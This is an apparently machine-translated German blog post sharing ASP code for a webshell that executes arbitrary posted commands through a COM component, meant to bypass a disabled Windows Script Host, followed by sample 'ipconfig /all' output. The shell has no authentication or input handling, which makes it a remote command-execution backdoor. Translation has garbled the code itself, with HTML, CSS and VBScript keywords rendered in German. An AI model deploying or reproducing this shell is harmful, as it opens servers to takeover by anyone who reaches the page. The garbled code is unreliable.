Wenn wir den Server verwalten, deaktivieren wir den Windows -Skript -Host für Sicherheit. Aber was ist, wenn wir WSH deaktivieren und unsere eigene Webshell verwenden möchten, um die Verwaltung des Servers zu verwalten? Hier ist eine Komponentenprogrammierung, die CMD in ASP implementiert und Ergebnisse angezeigt hat. Ich hoffe, allen zu helfen.
|||
<!-
.Singleborder {
Grenze: 1px fest;
Hintergrundfarbe: #000000;
Schriftfamilie: Arial, Helvetica, Sans-Serif;
Farbe: #ffffff;
}
.nobeorder {
Grenze: 1px keine;
Hintergrundfarbe: #000000;
Schriftfamilie: Arial, Helvetica, Sans-Serif;
Farbe: #ffffff;
}
Body {Hintergrundfarbe: #000000; Farbe: #000000;
Schriftfamilie: FixedSys;
->
</style>
<Form action = methode = post>
<Eingabename = cmd class = Einzelborderwert = <%= Request.Form (CMD)%> Größe = 102>
<Eingabe type = sure class = tlaBorder value = execute>
</form>
<%
Wenn request.form (cmd) <> dann
Setzen Sie testMe = server.createObject (ASPCMD.CMDSHELL)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea cols = 120 Zeilen = 30 Klasse = Noborder>
<%= testme.exec1 (request.form (cmd))%> </textarea>
<% Setze testme = nichts
Ende wenn
%>
Das Folgende ist das Ergebnis des Ausführens von IPConfig /All:
Windows 2000 IP -Konfiguration
Hostname .........: IBM-WRK-02
Primäres DNS -Suffix .......:
Knotentyp ..........: Broadcast
IP -Routing aktiviert .......: Nein
Gewinne Proxy aktiviert .......: Nein
Lokale Verbindung von Ethernet -Adapter:
Verbindungsspezifisches DNS-Suffix :::::
Beschreibung ...........: Intel (R) Pro/100 VM -Netzwerkverbindung
Physische Adresse ........: 008-02-BD-D7-EB
DHCP aktiviert .........: nein
IP -Adresse ........ ..: 192.168.0.4
Subnetzmaske .........: 255.255.255.0
Standard -Gateway ..........: 192.168.0.1
DNS -Server .........: 202.106.196.115